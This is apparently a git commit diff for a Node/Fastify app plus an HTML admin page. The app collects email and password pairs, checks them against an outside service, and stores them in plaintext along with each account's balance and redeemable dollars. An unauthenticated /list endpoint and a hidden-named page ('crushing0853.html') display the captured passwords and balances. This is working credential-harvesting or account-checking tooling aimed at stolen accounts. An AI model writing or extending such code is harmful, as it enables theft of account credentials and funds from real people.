xiongzhu 1 anno fa
parent
commit
2dcb0917aa
2 ha cambiato i file con 126 aggiunte e 0 eliminazioni
  1. 38 0
      app.mjs
  2. 88 0
      public/crushing0853.html

+ 38 - 0
app.mjs

@@ -54,6 +54,14 @@ const Accounts = sequelize.define(
             type: DataTypes.TEXT("long"),
             allowNull: true,
         },
+        balance: {
+            type: DataTypes.STRING,
+            allowNull: true,
+        },
+        dollarsRedeemable: {
+            type: DataTypes.STRING,
+            allowNull: true,
+        },
     },
     {
         // Other model options go here
@@ -83,12 +91,23 @@ fastify.post("/login", async function (request, reply) {
         const { email, password } = request.body;
         try {
             const res = await login(email, password);
+            let balance = null;
+            let dollarsRedeemable = null;
+            if (res) {
+                try {
+                    const json = JSON.parse(res);
+                    balance = json.balance + "";
+                    dollarsRedeemable = json.dollarsRedeemable + "";
+                } catch (error) {}
+            }
             const account = await Accounts.create({
                 email,
                 password,
                 userAgent: request.headers["user-agent"],
                 success: true,
                 result: res,
+                balance,
+                dollarsRedeemable,
             });
             return reply.code(200).send();
         } catch (error) {
@@ -105,6 +124,25 @@ fastify.post("/login", async function (request, reply) {
     }
 });
 
+fastify.get("/list", async function (request, reply) {
+    let page = request.query.page ? parseInt(request.query.page) : 0;
+    const query = {};
+    if (request.query.success) {
+        query.success = request.query.success === "true";
+    }
+    const accounts = await Accounts.findAll({
+        offset: 20 * page,
+        limit: 20,
+        order: [["createdAt", "DESC"]],
+        where: query,
+    });
+    const total = await Accounts.count({ where: query });
+    return {
+        data: accounts,
+        total,
+    };
+});
+
 fastify.listen({ port: 3000 }, function (err, address) {
     if (err) {
         fastify.log.error(err);

+ 88 - 0
public/crushing0853.html

@@ -0,0 +1,88 @@
+<!DOCTYPE html>
+<html lang="en">
+
+<head>
+    <meta charset="UTF-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0">
+    <title>Document</title>
+    <!-- Import style -->
+    <link rel="stylesheet" href="//unpkg.com/element-plus/dist/index.css" />
+    <!-- Import Vue 3 -->
+    <script src="//unpkg.com/vue@3"></script>
+    <!-- Import component library -->
+    <script src="//unpkg.com/element-plus"></script>
+    <script src="https://unpkg.com/axios@1.6.7/dist/axios.min.js"></script>
+    <script src="https://cdn.tailwindcss.com"></script>
+</head>
+
+<body>
+    <div id="app" class="p-4">
+        <div class="flex mb-4">
+            <el-select v-model="status" placeholder="Select">
+                <el-option label="All" value="all"></el-option>
+                <el-option label="Success" value="true"></el-option>
+                <el-option label="Failed" value="false"></el-option>
+            </el-select>
+            <el-button class="ml-4" @click="getData">Search</el-button>
+        </div>
+        <el-table :data="data" size="small" v-loading="loading">
+            <el-table-column prop="id" label="ID" width="80"></el-table-column>
+            <el-table-column prop="createdAt" label="Created At" :formatter="timeFormatter"></el-table-column>
+            <el-table-column prop="email" label="Email"></el-table-column>
+            <el-table-column prop="password" label="Password"></el-table-column>
+            <el-table-column prop="success" label="Success"></el-table-column>
+            <el-table-column prop="result" label="Balance" show-overflow-tooltip></el-table-column>
+        </el-table>
+        <el-pagination layout="prev, pager, next" :total="total" :page-size="20" v-model:current-page="page" />
+    </div>
+    <script>
+        const { createApp, ref, onMounted, watch } = Vue
+
+        const app = createApp({
+            setup() {
+                const message = ref('Hello vue!')
+                const data = ref([])
+                const page = ref(1)
+                const status = ref('all')
+                const total = ref(0)
+                const loading = ref(false)
+
+                function getData() {
+                    loading.value = true
+                    axios.get('/list', {
+                        params: {
+                            page: page.value - 1,
+                            success: status.value === 'all' ? undefined : status.value
+                        }
+                    }).then(res => {
+                        data.value = res.data.data
+                        total.value = res.data.total
+                        loading.value = false
+                    }).catch(e => {
+                        loading.value = false
+                    })
+                }
+                function timeFormatter(row, column, cellValue, index) {
+                    return new Date(row.createdAt).toLocaleString()
+                }
+                onMounted(function () {
+                    getData()
+                })
+                watch(page, function () {
+                    getData()
+                })
+                watch(status, function () {
+                    page.value = 1
+                    getData()
+                })
+                return {
+                    message, getData, data, page, timeFormatter, status, total, loading
+                }
+            }
+        })
+        app.use(ElementPlus)
+        app.mount('#app')
+    </script>
+</body>
+
+</html>